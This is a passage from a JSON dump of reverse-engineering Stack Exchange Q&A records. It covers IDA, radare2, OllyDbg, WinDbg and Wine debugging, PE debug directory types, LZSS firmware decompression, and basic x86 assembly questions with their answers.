href=\"https://unix.stackexchange.com/q/483283/3285\">Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification\nVersion 1.2</a>,</p>\n\n<blockquote>\n  <p>... only <code>Elf32_Rela</code> entries contain an explicit addend. Entries of type <code>Elf32_Rel</code> store an implicit addend in the location to be modified. Depending on the processor architecture, one form or the other might be necessary or more convenient. Consequently, an implementation for a particular machine may use one form exclusively or either form depending on context.</p>\n</blockquote></li>\n</ul>\n"
    },
    {
        "Id": "17359",
        "CreationDate": "2018-02-01T10:07:31.387",
        "Body": "<p>I am given a large memory dump (several megabytes). I need to update idb's memory. What I do now is: PatchQword(addr, value) if value != Qword(addr) for every qword in memory dump. Unfortunately, every PatchQword takes way too long (around 3-4 PatchQwords per second).  </p>\n\n<p>SO the question is: is there a way to tell IDA to update large regions of memory at once?</p>\n",
        "Title": "Big patches for memory dumps",
        "Tags": "|ida|",
        "Answer": "<p>If you don't care about the value of original bytes, you can use put_bytes().</p>\n"
    },
    {
        "Id": "17379",
        "CreationDate": "2018-02-03T21:19:56.940",
        "Body": "<p>When I run <code>is</code> to show the symbols, I see</p>\n\n<pre><code>[Symbols]\n004 0x000000f0 0x006000f0  LOCAL NOTYPE    0 text1\n005 0x000000cb 0x004000cb  LOCAL NOTYPE    0 _print\n006 0x000000d1 0x004000d1  LOCAL NOTYPE    0 _printLoop\n008 0x000000f0 0x006000f0  LOCAL OBJECT    0 _GLOBAL_OFFSET_TABLE_\n009 0x000000b0 0x004000b0 GLOBAL NOTYPE    0 _start\n010 0x006000fe 0x006000fe GLOBAL NOTYPE    0 __bss_start\n011 0x006000fe 0x006000fe GLOBAL NOTYPE    0 _edata\n012 0x00600100 0x00600100 GLOBAL NOTYPE    0 _end\n</code></pre>\n\n<p>but when I run</p>\n\n<pre><code>[0x00000000]&gt; s _start\n[0x00000000]&gt; s @_start\n0x0\n</code></pre>\n\n<p>Nothing happens? How come that doesn't resolve to <code>0x004000b0</code>? Doing <code>afl</code>, I see</p>\n\n<pre><code>[0x00000000]&gt; afl\n0x004000b0    3 63           entry0\n</code></pre>\n\n<p>I can seek to that</p>\n\n<pre><code>[0x00000000]&gt; s entry0\n[0x004000b0]&gt; \n</code></pre>\n\n<p>Why can I seek to <code>entry0</code> but not to <code>_start</code>, they have the same address?</p>\n",
        "Title": "Radare can't seek to _start symbol",
        "Tags": "|radare2|symbols|",
        "Answer": "<p>You can't seek to any symbol that shown by <code>is</code>, you can only seek to \"<a href=\"https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html\" rel=\"nofollow noreferrer\">flags</a>\" or addresses.</p>\n\n<p>The <code>f</code> command is used to list all the flags from the selected flagspace. By default all the available flagspaces are selected. For example, in order to select the 'symbols' flagspace and list only the flags inside it, use:</p>\n\n<pre><code>[0x004049a0]&gt; fs symbols\n[0x004049a0]&gt; f\n0x00402a00 261 main\n0x004049a0 41 entry0\n0x0061e600 8 obj.__bss_start\n0x00413c8c 9 sym._fini\n0x0061e610 4 obj.optind\n0x004022b8 26 sym._init\n0x0061e620 8 obj.program_invocation_name\n0x0061e600 0 loc.__bss_start\n0x0061f368 0 loc._end\n0x00412960 38 sym._obstack_memory_used\n0x0061e5f8 8 obj.obstack_alloc_failed_handler\n0x00412780 17 sym._obstack_begin\n0x0061e640 8 obj.stderr\n0x004128f0 106 sym._obstack_free\n0x004128c0 48 sym._obstack_allocated_p\n0x0061e618 8 obj.optarg\n0x004127a0 21 sym._obstack_begin_1\n0x004127c0 245 sym._obstack_newchunk\n0x0061e608 8 obj.stdout\n</code></pre>\n\n<p>You can use radare's internal <code>grep</code> to find specific flags:</p>\n\n<pre><code>[0x00000000]&gt; f~imp\n0x004004d0 16 sym.imp.puts\n0x004004e0 16 sym.imp.system\n0x004004f0 16 sym.imp.__libc_start_main\n0x00400500 16 sym.imp.strcmp\n0x00400000 16 loc.imp.__gmon_start\n0x00400510 16 sym.imp.__isoc99_scanf\n</code></pre>\n"
    },
    {
        "Id": "17386",
        "CreationDate": "2018-02-04T18:40:48.590",
        "Body": "<p>So I got this <a href=\"https://drive.google.com/open?id=1HHLiCKIm7I1J7GrRmn6d74T_NWlEisIq\" rel=\"nofollow noreferrer\">file</a> with an unknown extension. The file is an event flow code</p>\n\n<p>Ok, so I analysed the file (with HxD) and it seems to be compressed in some way because you can read some plain text there. I have some coding skills but I never done this kind of things before</p>\n\n<p>So... Is there any good tutorial to start decompressing/decoding unknown files? Or at least, is there any good tool I should use for this job?\nOr any advice/tip for this?</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "Unknown game file decompress",
        "Tags": "|file-format|decryption|decompress|",
        "Answer": "<blockquote>\n  <p>it seems to be compressed in some way because you can read some plain text there</p>\n</blockquote>\n\n<p>This statement is contradictory. If the binary were compressed or encrypted in its entirety there would not be any readable ASCII strings in a hexdump. Readable ASCII data indicates at the very least that there are regions within the binary that are not compressed or encrypted.</p>\n\n<p>The fastest way of determining whether a binary is compressed or encrypted is through visualization. Visualization of this binary shows that Rad Lexus is correct: it is neither compressed nor encrypted.</p>\n\n<p><a href=\"https://i.stack.imgur.com/9mM7o.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/9mM7o.png\" alt=\"vis 1\"></a>\n<a href=\"https://i.stack.imgur.com/aVckT.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/aVckT.png\" alt=\"ent 1\"></a>\n<a href=\"https://i.stack.imgur.com/ONdVk.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/ONdVk.png\" alt=\"vis 2\"></a>\n<a href=\"https://i.stack.imgur.com/OQg9C.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/OQg9C.png\" alt=\"ent 2\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/p8uqQ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/p8uqQ.png\" alt=\"binwalk entropy scan\"></a></p>\n\n<p>Compressed and encrypted data have an entropy of close to 1 (on a scale of 0 to 1). In this file it is never higher than 0.8, indicating conclusively that there are no compressed or encrypted regions within the binary. The spike in entropy toward the end of the file corresponds to the relatively contiguous block of ASCII data shown by the blue coloring in the 1st and 3rd images.  </p>\n\n<p>If you want to know how the data in this file is accessed, you need to examine the processes that read from and write to this file, as  Pawe\u0142 \u0141ukasik said.</p>\n\n<p>Here is some <a href=\"https://reverseengineering.stackexchange.com/questions/17262/binwalk-alternative/17270#17270\">advice</a></p>\n"
    },
    {
        "Id": "17388",
        "CreationDate": "2018-02-04T22:47:40.983",
        "Body": "<p>When I use a command like <code>fs</code>, I get output like </p>\n\n<pre><code>0    0 * strings\n1    6 * symbols\n2   14 * sections\n3    0 * relocs\n</code></pre>\n\n<p>It's clear to me on the left is an incrementing number that represents the flagspace. It's not clear to me what the number on the right is; <code>fs</code> is defined as </p>\n\n<pre><code>Usage: fs [*] [+-][flagspace|addr] # Manage flagspaces\n</code></pre>\n",
        "Title": "Is there a way to get the headers with the Radare output?",
        "Tags": "|radare2|",
        "Answer": "<p>As @blabb said, this number represents the amount of flags in each flagspace.</p>\n\n<p>So for your example:</p>\n\n<pre><code>0    0 * strings\n1    6 * symbols\n2   14 * sections\n3    0 * relocs\n</code></pre>\n\n<ul>\n<li>The flagspace \"strings\" has 0 flags</li>\n<li>The flagspace \"symbols\" has 6 flags</li>\n<li>The flagspace \"sections\" has 14 flags</li>\n<li>The flagspace \"relocs\" has 0 flags</li>\n</ul>\n\n<p>But more generally, the title of your question asks whether there's \"a way to get the headers with the Radare output?\", the answer for this is <strong>yes</strong>.</p>\n\n<p><strong>Getting the headers</strong></p>\n\n<p>Some of radare's informative commands (which print information) shows you a key-value output. Take for example the <code>ie</code> command to print the entrypoints of the program:</p>\n\n<pre><code>[0x00400530]&gt; ie\n[Entrypoints]\nvaddr=0x00400530 paddr=0x00000530 baddr=0x00400000 laddr=0x00000000 haddr=0x00000018 type=program\n\n1 entrypoints\n</code></pre>\n\n<p>You can see that each value is printed with its key (vaddr, paddr, type and so on).</p>\n\n<p>Other commands would not show you the headers, just as your example with the <code>fs</code> command. So what can you do to show this information? Simply, use the <em>JSON</em> representation of the output. Most of radare2's informative commands can be appended with a <code>j</code> to format the output as <em>JSON</em>.</p>\n\n<p>So, for example, printing <code>fsj</code> will show you the flagspaces in JSON. I'll add <code>~{}</code> to format the output with <em>JSON</em> indention for readabilty:</p>\n\n<pre><code>[0x00400530]&gt; fsj~{}\n[\n  {\n    \"name\": \"strings\",\n    \"count\": 5,\n    \"selected\": true\n  },\n  {\n    \"name\": \"symbols\",\n    \"count\": 36,\n    \"selected\": false\n  },\n  {\n    \"name\": \"sections\",\n    \"count\": 82,\n    \"selected\": false\n  },\n  {\n    \"name\": \"relocs\",\n    \"count\": 6,\n    \"selected\": false\n  },\n  {\n    \"name\": \"imports\",\n    \"count\": 6,\n    \"selected\": false\n  }\n]\n</code></pre>\n\n<p>As you can see, radare presents us with a simple JSON output that contains the headers (keys) for each value. This way you can easily spot the \"count\" header which is corresponding to the output without <code>j</code>.</p>\n"
    },
    {
        "Id": "17396",
        "CreationDate": "2018-02-05T21:25:06.170",
        "Body": "<p>I am trying to reverse engineer my HP printer's firmware, so I dumped the SPI chip from the board, and there are a lot of strings, but almost always look something like this:\n<a href=\"https://i.stack.imgur.com/Ykhbz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ykhbz.png\" alt=\"enter image description here\"></a></p>\n\n<p>I noticed a pattern that sometimes after every 8 bytes FF byte is added. However, this is not the whole pattern. Does anyone have a clue what could this be? It is not the dump error since I extracted some JPEG images from uncompressed parts just fine, and multiple dumps produce the same file.</p>\n\n<p><strong>UPDATE:</strong>\nI figured it could be LZSS compression, and I managed to decompress this <a href=\"https://drive.google.com/open?id=1Vc3j_ETLwz_vuzFImWI_oa9NXPJXKOfp\" rel=\"nofollow noreferrer\">part</a> and got <a href=\"https://drive.google.com/open?id=1gV-igoVCqcfn3NozccNx5dVqHBrX0Z6J\" rel=\"nofollow noreferrer\">this</a>.\nHowever, when I tried the same script on the <a href=\"https://drive.google.com/open?id=1AAaOLchr6K3CpmSArGPDAV4_5lkZ4vDi\" rel=\"nofollow noreferrer\">other part</a> which has the same pattern it does not decompress properly. What could be the reason?</p>\n\n<p>I used the QuickBMS script for LZSS algorithm (code below).\nIdeally, I would like to do it in python, but the scripts I found did not produce the good result even with the same LZSS parameters. I am not super familiar with QuickBMS scripting.</p>\n\n<pre><code># lzss decompression function written in 100% bms scripting\n\nset NAME string \"unpacked.dat\"\nget ZSIZE asize\nmath SIZE = ZSIZE\nmath SIZE *= 10\nlog MEMORY_FILE 0 ZSIZE\ncallfunction LZSS_BMS_DUMP\n\n# you must set: MEMORY_FILE (input), ZSIZE (input size), MEMORY_FILE2 (output), SIZE (max size)\nstartfunction LZSS_BMS_DUMP\n    set EI long 12\n    set EJ long 4\n    set P long 2\n    set rless long P\n    set init_chr long 0x00\n\n    set N long 1\n    math N &lt;&lt;= EI\n    set F long 1\n    math F &lt;&lt;= EJ\n\n    # pre-allocate memory for faster performances\n    putvarchr MEMORY_FILE3 N 0\n    for i = 0 &lt; N\n        putvarchr MEMORY_FILE3 i init_chr\n    next i\n    putvarchr MEMORY_FILE2 SIZE 0\n\n    math r = N\n    math r -= F\n    math r -= rless\n    math N -= 1\n    math F -= 1\n\n    math src = 0\n    math dst = 0\n    math srcend = ZSIZE\n    math dstend = SIZE\n\n    math flags = 0\n    for src = 0 &lt; srcend\n        if flags &amp; 0x100\n        else\n            getvarchr flags MEMORY_FILE src\n            math src += 1\n            math flags |= 0xff00\n        endif\n        if flags &amp; 1\n            getvarchr c MEMORY_FILE src\n            math src += 1\n            putvarchr MEMORY_FILE2 dst c\n            math dst += 1\n            putvarchr MEMORY_FILE3 r c\n            math r += 1\n            math r &amp;= N\n        else\n            getvarchr i MEMORY_FILE src\n            math src += 1\n            getvarchr j MEMORY_FILE src\n            math src += 1\n            math TMP = j\n            math TMP &gt;&gt;= EJ\n            math TMP &lt;&lt;= 8\n            math i |= TMP\n            math j &amp;= F\n            math j += P\n            for k = 0 &lt;= j\n                math TMP = i\n                math TMP += k\n                math TMP &amp;= N\n                getvarchr c  MEMORY_FILE3 TMP\n                putvarchr MEMORY_FILE2 dst c\n                math dst += 1\n                putvarchr MEMORY_FILE3 r c\n                math r += 1\n                math r &amp;= N\n            next k\n        endif\n        math flags &gt;&gt;= 1\n    next\n    math SIZE = dst\n    log NAME 0 SIZE MEMORY_FILE2\nendfunction\n</code></pre>\n",
        "Title": "Issues with reversing LZSS compression algorithm",
        "Tags": "|firmware|hex|decompress|",
        "Answer": "<p>A couple of years of experience later, I revisited this project and figured it out!\nThe compression is in fact LZSS, and the QuickBMS script from my question is able to decompress it correctly. The second section I mentioned was problematic just because there are uncompressed blocks in between compressed blocks in the chip dump, so, obviously, they need to be extracted and decompressed separately.</p>\n\n<p>If anyone is interested in understanding LZSS properly, I really liked the way it was explained in the book \"Retrogame Archeology: Exploring Old Computer Games\", page 104 (can be viewed for free on Google books).</p>\n\n<p>Thanks all for helping, I could not have figured it out without an amazing community here! :)</p>\n"
    },
    {
        "Id": "17406",
        "CreationDate": "2018-02-07T08:20:34.257",
        "Body": "<p>I have the following AT&amp;T assembly code:</p>\n\n<pre><code>  movl 12(%ebp),%eax\n  cmpl %eax,8(%ebp)\n  jle L7\n  movl 8(%ebp),%eax\nL7:\n  leave\n</code></pre>\n\n<p>I'm supposed to \"transpose\"(??) it to C code. I actually just have to fill in the blanks in this skeleton C code:</p>\n\n<pre><code>int g(int x, int y) {\n    if (x ______ y)\n        return ______;\n    else\n        return ______;\n}\n</code></pre>\n\n<p>From what I unerstand, the assembly is going to return whatever is in <code>%eax</code> when done.</p>\n\n<p>So this is how I understand what's happening:</p>\n\n<p>The <code>cmpl %eax,8(%ebp)</code> line is comparing x (<code>8(%ebp)</code>) with y (<code>%eax</code>). If x is <code>&lt;=</code> to y, we jump to <code>L7:</code> and return whatever is in <code>%eax</code> at that time, which is y. Otherwise, we proceed to the next line in the assembly code and <code>movl</code> x (<code>8(%ebp)</code>) to <code>%eax</code>, and return whatever is in <code>%eax</code>, which would be x at that point.</p>\n\n<p>In the end, this is what I think is happening:</p>\n\n<pre><code>int g(int x, int y) {\n    if (x &lt;= y)\n        return y;\n    else\n        return x;\n}\n</code></pre>\n\n<p>Am I correct in saying that the assembly returns whatever is in <code>%eax</code> when the assembly code is finished running?</p>\n",
        "Title": "AT&T - Does assembly code return whatever is in %eax by default?",
        "Tags": "|assembly|decompilation|",
        "Answer": "<blockquote>\n  <p>Am I correct in saying that the assembly returns whatever is in %eax when the assembly code is finished running?</p>\n</blockquote>\n\n<p>Assembly doesn't \"return\" anything.</p>\n\n<p>In assembly, it is left to the programmer to decide how to pass values between the caller and callee routines.  In order to avoid things getting messy, <a href=\"https://en.wikipedia.org/wiki/Calling_convention\" rel=\"nofollow noreferrer\">calling conventions</a> have been devised.</p>\n\n<p>Your question therefore becomes \"what calling convention was used to compile the unknown C code to the known assembly?\"</p>\n\n<p>When compiling for x86 architectures, C compilers usually use the <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl\" rel=\"nofollow noreferrer\">cdecl convention</a>. \n Working on the assumption that was the convention used here, then integer results would indeed always be returned in register EAX.</p>\n"
    },
    {
        "Id": "17415",
        "CreationDate": "2018-02-08T06:55:43.123",
        "Body": "<p>I have a  arm 32bit lsb executable which prints \"hello world\" to the screen. How do I change the string to \"Good bye\" using radare2.</p>\n\n<p>I believe this will teach me the basics of RE and radare2.</p>\n\n<p>Thank you !</p>\n",
        "Title": "How to change a string in a arm 32bit lsb executable binary using radare2?",
        "Tags": "|arm|radare2|binary|",
        "Answer": "<p>Let's start from writing a simple Hello, World program and compile it.</p>\n\n<pre><code>beet:/tmp$ cat helloworld.c\n\n#include &lt;stdio.h&gt;\nint main()\n{\n   printf(\"Hello, World!\\n\");\n   return 0;\n}\n\nbeet:/tmp$ gcc helloworld.c -o helloworld\nbeet:/tmp$ ./helloworld\nHello, World!\n</code></pre>\n\n<p>Since we are going to modify the binary, it is recommended to work on a copy of the original file:</p>\n\n<pre><code>beet:/tmp$ cp helloworld modified_helloworld\n</code></pre>\n\n<p>Now open the modified binary with radare2 in writing mode (<code>-w</code>):</p>\n\n<pre><code>beet:/tmp$ r2 -w modified_helloworld\n -- Change the UID of the debugged process with child.uid (requires root)\n[0x00400430]&gt;\n</code></pre>\n\n<p>Now we need to locate the string \"Hello, World!\" in the program so we'll know the address we should modify. To do this we'll use the <code>iz</code> command which will print strings from the data sections:</p>\n\n<pre><code>[0x00400430]&gt; iz\nvaddr=0x004005c4 paddr=0x000005c4 ordinal=000 sz=14 len=13 section=.rodata type=ascii string=Hello, World!\n</code></pre>\n\n<p>We can see that \"Hello, World!\" is located at <code>0x004005c4</code> and its length is \"13\". That means that we need to replace this string with another string of length \"13\". We'll use \"Good, Bye!!!!\" which is 13 character length as well.</p>\n\n<p>We'll use the <code>w</code> command to modify the string in this address:</p>\n\n<pre><code>[0x00400430]&gt; w Good, Bye!!!! @ 0x004005c4\n</code></pre>\n\n<p>Now exit from radare2 and execute the program, The changes will affected immediately.</p>\n\n<pre><code>beet:/tmp$ ./modified_helloworld\nGood, Bye!!!!\n</code></pre>\n\n<p>et voil\u00e0! We changed the output.</p>\n\n<p>You can read more in the <a href=\"https://monosource.gitbooks.io/radare2-explorations/content/intro/editing.html\" rel=\"nofollow noreferrer\">\"Editing\"</a> chapter from radare2book.</p>\n"
    },
    {
        "Id": "17427",
        "CreationDate": "2018-02-10T15:03:10.280",
        "Body": "<p>Microsoft describes the IMAGE_DEBUG_DIRECTORY structure <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680307(v=vs.85).aspx\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>I learned <a href=\"http://www.debuginfo.com/articles/debuginfomatch.html#debuginfoinpe\" rel=\"nofollow noreferrer\">here</a> that for recent VisualStudio-compiled binaries, the type is <code>IMAGE_DEBUG_TYPE_CODEVIEW</code>, i.e. the value is <code>0x2</code>.</p>\n\n<p>Now I have a vanilla VS-2015 compiled binary and I am using the Python module <code>pefile</code> to iterate over the <code>IMAGAE_DEBUG_DIRECTORY</code> objects:</p>\n\n<pre><code>for debug_data_object in pe.DIRECTORY_ENTRY_DEBUG:\n    ...\n</code></pre>\n\n<p>The first entry is as expected:</p>\n\n<pre><code>0x6500     0x0   Characteristics:               0x0       \n0x6504     0x4   TimeDateStamp:                 0x59088504 [Tue May 02 13:09:24 2017 UTC]\n0x6508     0x8   MajorVersion:                  0x0       \n0x650A     0xA   MinorVersion:                  0x0       \n0x650C     0xC   Type:                          0x2       \n0x6510     0x10  SizeOfData:                    0x88      \n0x6514     0x14  AddressOfRawData:              0x176DC   \n0x6518     0x18  PointerToRawData:              0x66DC\n</code></pre>\n\n<p>But there is a second one. Its type is 0xC :</p>\n\n<pre><code>0x651C     0x0   Characteristics:               0x0       \n0x6520     0x4   TimeDateStamp:                 0x59088504 [Tue May 02 13:09:24 2017 UTC]\n0x6524     0x8   MajorVersion:                  0x0       \n0x6526     0xA   MinorVersion:                  0x0       \n0x6528     0xC   Type:                          0xC       \n0x652C     0x10  SizeOfData:                    0x14      \n0x6530     0x14  AddressOfRawData:              0x17764   \n0x6534     0x18  PointerToRawData:              0x6764 \n</code></pre>\n\n<p>What is this second entry about? Why is it there? What does type <code>0xc</code> correspond to?</p>\n\n<p><br>\n<br>\n<strong>UPDATE</strong></p>\n\n<p>In addition to the answer below, <a href=\"https://stackoverflow.com/a/48723533/4480139\">this</a> SO post contains additional detailed info.</p>\n",
        "Title": "PE: Strange entry in debug directory (Type: 0xc)",
        "Tags": "|pe|binary-format|debugging-symbols|",
        "Answer": "<p>If you check <code>winnt.h</code> from the latest Windows 10 SDK you can find rest of the values there:</p>\n\n<pre><code>#define IMAGE_DEBUG_TYPE_UNKNOWN          0\n#define IMAGE_DEBUG_TYPE_COFF             1\n#define IMAGE_DEBUG_TYPE_CODEVIEW         2\n#define IMAGE_DEBUG_TYPE_FPO              3\n#define IMAGE_DEBUG_TYPE_MISC             4\n#define IMAGE_DEBUG_TYPE_EXCEPTION        5\n#define IMAGE_DEBUG_TYPE_FIXUP            6\n#define IMAGE_DEBUG_TYPE_OMAP_TO_SRC      7\n#define IMAGE_DEBUG_TYPE_OMAP_FROM_SRC    8\n#define IMAGE_DEBUG_TYPE_BORLAND          9\n#define IMAGE_DEBUG_TYPE_RESERVED10       10\n#define IMAGE_DEBUG_TYPE_CLSID            11\n#define IMAGE_DEBUG_TYPE_VC_FEATURE       12\n#define IMAGE_DEBUG_TYPE_POGO             13\n#define IMAGE_DEBUG_TYPE_ILTCG            14\n#define IMAGE_DEBUG_TYPE_MPX              15\n#define IMAGE_DEBUG_TYPE_REPRO            16\n</code></pre>\n\n<p>So <code>0xC</code> is <code>IMAGE_DEBUG_TYPE_VC_FEATURE</code>. It looks like there's not much info on what it is stored there but you can do some searches to get some idea.</p>\n"
    },
    {
        "Id": "17430",
        "CreationDate": "2018-02-10T17:50:36.713",
        "Body": "<p>I have a small program that I wanted to debug.<br>\nI run OllyDbg version 2 and attached the program to the debugger.  </p>\n\n<p>I received this window:<br>\n<a href=\"https://i.stack.imgur.com/ZcqCP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZcqCP.png\" alt=\"enter image description here\"></a></p>\n\n<p>You can see that the addresses are from the Kernel memory.<br>\nI want to see the code of the program, I tried to double click on all the opened thread but everyone are in a kernel memory.<br>\nI noticed that the header is:  </p>\n\n<blockquote>\n  <p>CPU - main thread, module USER32</p>\n</blockquote>\n\n<p>Maybe the problem is that it showing me the module's memory and not the program's memory.  </p>\n\n<p>Any idea how I can switch to the program's memory (user-space memory)?</p>\n",
        "Title": "How to get back to program's main code (user-space) while attaching to de bugger",
        "Tags": "|ollydbg|debugging|",
        "Answer": "<p>I found how to do it.  </p>\n\n<p>Just right click on the code, choose <code>Select module</code> and choose the main module which is usually on the top.  </p>\n\n<p><a href=\"https://i.stack.imgur.com/iYZcc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iYZcc.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17433",
        "CreationDate": "2018-02-10T19:31:00.880",
        "Body": "<p>I am debugging a program and searching to see when the program is calling <code>WinHttpOpenRequest</code>.    </p>\n\n<p>I searched using for the function with <kbd>Ctrl+G</kbd><br>\n<a href=\"https://i.stack.imgur.com/jevgG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jevgG.png\" alt=\"enter image description here\"></a></p>\n\n<p>I pressed on <code>Follow expression</code> and it put me on the definition of the function on the <code>WinHttp</code> module:<br>\n<a href=\"https://i.stack.imgur.com/5elBL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5elBL.png\" alt=\"enter image description here\"></a></p>\n\n<p>I wanted to find the place where the main module of the program is calling this function and not the definition.  </p>\n\n<p>I put a breakpoint there and after the program stopped there I tried to use the  <code>Go to</code> -> <code>Previous location\\procedure</code> so see the calling to this function from the program but it send me to different places.  </p>\n\n<p>Any idea how can I find the places where the program is calling to a specific function, in my case <code>WinHttpOpenRequest</code> ?  </p>\n\n<p>I have a workaround and use IDA to find the exact place, but I am sure OllyDbg has this ability and I just not familiar with it.  </p>\n",
        "Title": "Find function's caller locations",
        "Tags": "|ollydbg|debugging|",
        "Answer": "<p>viewing previous procdures does not imply previous callers  to view previous callers you need to look at the stack if you are executing the binary </p>\n\n<p>use <kbd>ctrl+k</kbd><br>\nbtw winhttp uses com so it would be convoluted indirect access on vtables over activex object </p>\n\n<p>it is not clear if you are executing the binary but just disassembling and trying to look at the references since you mention you have a workaround in ida </p>\n\n<p>i presume you are meaning the xrefs in ida </p>\n\n<p>if that is the case then ollydbg shows those references when you<br>\nanalyze the winhttp.dll <kbd>ctrl+a</kbd> \nif you had analyzed the winhttp and used ctrl+g to go to the api </p>\n\n<p>you will see a small pane between cpu window and dump window stating local calls from  if you double click it you will see all the references to the present call</p>\n\n<p><a href=\"https://i.stack.imgur.com/iWy2i.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iWy2i.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17446",
        "CreationDate": "2018-02-12T16:31:30.740",
        "Body": "<p>I've got a crash dump, the application definitely crash in JIT optimized assembler code. I know the start address of the method. How do I find its name using using Windbg and SOS extension?</p>\n\n<p>Currently I'm just exploring each assembly in the domain, then in each assembly I dump all modules, then in each module I dump method tables hoping that some method address will be equal to the method I search. And it takes me eternity...</p>\n",
        "Title": "How to find the name of the method in Managed Code using Windbg and SOS?",
        "Tags": "|windbg|.net|",
        "Answer": "<p>You can use the <a href=\"https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension\" rel=\"nofollow noreferrer\"><code>ip2md</code></a> sos command to get the method name for jitted code.</p>\n\n<pre><code>0:016&gt; k\n # Child-SP          RetAddr           Call Site\n00 00000000`013fe688 00007ffb`4567ddb8 win32u!NtUserWaitMessage+0x14\n01 00000000`013fe690 00007ffb`45611535 System_Windows_Forms_ni+0x2cddb8\n\n\n0:016&gt; !ip2md 00007ffb`45611535 \nMethodDesc:   00007ffb454a25e8\nMethod Name:  System.Windows.Forms.Application+ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr, Int32, Int32)\nClass:        00007ffb4540c9f8\nMethodTable:  00007ffb45743f78\nmdToken:      00000000060052f3\nModule:       00007ffb453b1000\nIsJitted:     yes\nCodeAddr:     00007ffb45610fd0\nTransparency: Safe critical\n</code></pre>\n"
    },
    {
        "Id": "17452",
        "CreationDate": "2018-02-13T02:01:26.017",
        "Body": "<p>I have a binary which is playing a Morse code using calls to Beep &amp; Sleep.</p>\n\n<p>This file is Windows PE32 exe which I open via Wine on my Ubuntu (16.04).</p>\n\n<p>How can I extract the arguments which passed to Sleep or Beep whenever is been invoked ?</p>\n\n<p>Ideal result will be to open the file from terminal and each time Sleep is called it will log </p>\n\n<ul>\n<li>Sleep ( <em>Milliseconds</em> )</li>\n<li>Beep ( <em>Frequency</em> , <em>Duration</em> )</li>\n</ul>\n\n<p>The binary is packed &amp; obfuscated, can I edit the Kernel32.dll &amp; extend those methods ? </p>\n\n<ul>\n<li>Can I use <code>strace</code> ? if so, how do I filter Sleep &amp; Beep ?</li>\n</ul>\n",
        "Title": "hooking sleep & beep syscalls",
        "Tags": "|function-hooking|system-call|wine|",
        "Answer": "<p>If you're using Wine, you just need to enable the trace. Do the following:</p>\n\n<pre><code>$ WINEDEBUG=\"trace+msvcrt\" wine your_binary.exe\n</code></pre>\n\n<p>Taking a look to the Wine's source code I verified that both Sleep and Beep are being traced.</p>\n\n<p><a href=\"https://github.com/wine-mirror/wine/blob/master/dlls/msvcrt/misc.c#L37\" rel=\"nofollow noreferrer\">Beep</a>:</p>\n\n<pre><code>void CDECL MSVCRT__beep( unsigned int freq, unsigned int duration)\n{\n    TRACE(\":Freq %d, Duration %d\\n\",freq,duration);\n    Beep(freq, duration);\n}\n</code></pre>\n\n<p><a href=\"https://github.com/wine-mirror/wine/blob/master/dlls/msvcrt/misc.c#L81\" rel=\"nofollow noreferrer\">Sleep</a>:</p>\n\n<pre><code>void CDECL MSVCRT__sleep(MSVCRT_ulong timeout)\n{\n  TRACE(\"_sleep for %d milliseconds\\n\",timeout);\n  Sleep((timeout)?timeout:1);\n}\n</code></pre>\n\n<p>Naturally, you will need to filter out many other messages. Simply doing \"grep -v\" should be enough.</p>\n"
    },
    {
        "Id": "17466",
        "CreationDate": "2018-02-14T15:55:15.880",
        "Body": "<p>I'm just learning to use IDA and according to the book, when using <code>Search</code> function (<code>Search&gt;text...</code>, for example) I should see a window with the found results, like this:\n<a href=\"https://i.stack.imgur.com/A50N6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/A50N6.png\" alt=\"screenshot from the book\"></a></p>\n\n<p>However, when the search is over, if something is found, I only see in the bottom Search completed text and if I scroll the IDA View-A window, I can see that the text is highlighted. Text string <code>gethostbyname</code> was searched here:\n<a href=\"https://i.stack.imgur.com/kgNYx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kgNYx.png\" alt=\"screenshot of IDA in use\"></a>\nI cannot see all the instances at the same time as expected. </p>\n\n<p>The version I use is IDA 5.0, free version; it's the same version that the book was based on. How can I get the results to show? </p>\n",
        "Title": "IDA search results not showing up in a separate window",
        "Tags": "|ida|static-analysis|",
        "Answer": "<p>you may need to check the checkmark find all occurances<br>\nelse ida stops when it finds the first occurance and the window doesnt open up   </p>\n\n<p><a href=\"https://i.stack.imgur.com/KQ81L.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KQ81L.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17473",
        "CreationDate": "2018-02-15T04:16:26.077",
        "Body": "<p>In the following code snippet, the EB F2 instruction is causing execution to jump back up to the line indicated by the arrow. How is this the case given that there is no address supplied to EB and the jmp is less than F2 away in terms of address distance?<a href=\"https://i.stack.imgur.com/WGdoU.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/WGdoU.png\" alt=\"enter image description here\"></a> These two locations are 0xC from each other.</p>\n",
        "Title": "How does this EB F2 x86 instruction work?",
        "Tags": "|disassembly|assembly|x86|x64dbg|",
